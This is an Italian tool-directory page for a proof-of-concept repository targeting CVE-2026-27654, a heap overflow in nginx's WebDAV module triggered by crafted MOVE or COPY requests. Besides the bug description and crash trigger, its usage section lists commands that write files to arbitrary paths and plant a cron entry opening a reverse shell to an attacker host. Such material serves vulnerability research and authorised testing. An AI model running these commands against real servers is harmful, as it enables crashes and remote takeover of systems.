Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/johanneslks/cve-2026-27654
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` Heap Buffer Overflow tramite Underflow di `size_t` (DoS remoto / Potenziale RCE)

Vedi Repository
842 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-27654

NGINX ngx_http_dav_module Heap Buffer Overflow tramite Underflow di size_t (DoS Remoto / Potenziale RCE)

Descrizione

ngx_http_dav_copy_move_handler() in src/http/modules/ngx_http_dav_module.c calcola la lunghezza dell'URI di destinazione sottraendo la lunghezza del prefisso della location dal componente del percorso URI dell'intestazione Destination. Entrambi i valori sono size_t (unsigned a 64 bit). Quando il percorso di destinazione è più corto del prefisso della location, la sottrazione va in wrap-around a ~0, producendo una lunghezza memcpy enorme che causa un overflow di un'allocazione heap di 7 byte e crash del processo worker.

Una singola richiesta MOVE o COPY appositamente predisposta verso una location DAV mappata con alias innesca l'overflow. Il master di nginx riavvia il worker, ma richieste ripetute mantengono il server in un ciclo continuo di crash.

ASan conferma: negative-size-param: (size=-7) in memcpy in ngx_http_core_module.c:1949, chiamato da ngx_http_dav_copy_move_handler.

Versione affetta: nginx dalla 0.5.13 alla 1.28.2 (stable) e dalla 1.29.0 alla 1.29.6 (mainline), compilato con --with-http_dav_module e che utilizza alias nella location DAV. Risolto nella 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).

Utilizzo

root@kitploit:~
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh              # non-ASan build (observes SIGSEGV crash)
./run.sh --asan       # ASan build (definitive proof)
./run.sh --both       # run both sequentially

# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose

La modalità predefinita rimane l'innesco di crash canonico. Invia PUT seguito da un MOVE appositamente predisposto il cui percorso Destination è più corto del prefisso della location DAV:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

Per configurazioni di laboratorio autorizzate in cui la gestione della destinazione DAV consente un escape relativo della destinazione, lo stesso strumento può fornire contenuto controllato dall'attaccante a un percorso scelto. I valori esatti di --location-prefix, --escape-depth e il percorso di destinazione devono provenire dalla propria configurazione del servizio e ricognizione:

root@kitploit:~
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell e cron-cmd sono helper generici di distribuzione per ambienti autorizzati con una sorgente DAV scrivibile e un escape del percorso di destinazione. Non sono necessari per dimostrare il crash canonico da overflow heap.

Requisiti

  • Target: nginx compilato con --with-http_dav_module, blocco location che utilizza alias (non root), dav_methods include COPY o MOVE
  • Attaccante: Python 3. requests viene utilizzato quando disponibile, altrimenti il PoC ricade sulla libreria standard di Python per target HTTP semplici.
  • Per compilazione nativa: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

File

FileDescrizione
poc.pyPoC Python -- innesco di crash canonico più modalità generiche di destinazione COPY/MOVE
run.shCompila nginx dal sorgente (ASan / non-ASan) ed esegue il PoC
DockerfileBuild multi-stage di nginx vulnerabile 1.28.2
docker-compose.ymlSetup Docker con un comando
nginx.confConfigurazione vulnerabile (alias + dav_methods COPY MOVE)
proof_output.txtOutput ASan dalla verifica live

Riferimenti

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

Avviso Legale

Questo progetto è rilasciato sotto la GNU GPLv3.

È fornito per ricerca sulla sicurezza difensiva, istruzione e test autorizzati. Non utilizzare questo codice contro sistemi o servizi senza esplicita autorizzazione del proprietario.

L'uso non autorizzato può violare le leggi applicabili. Gli autori non concedono il permesso di testare sistemi di terze parti e non sono responsabili per un uso improprio.

Vedi il file LICENSE per i termini di garanzia e responsabilità.

Scarica lo strumento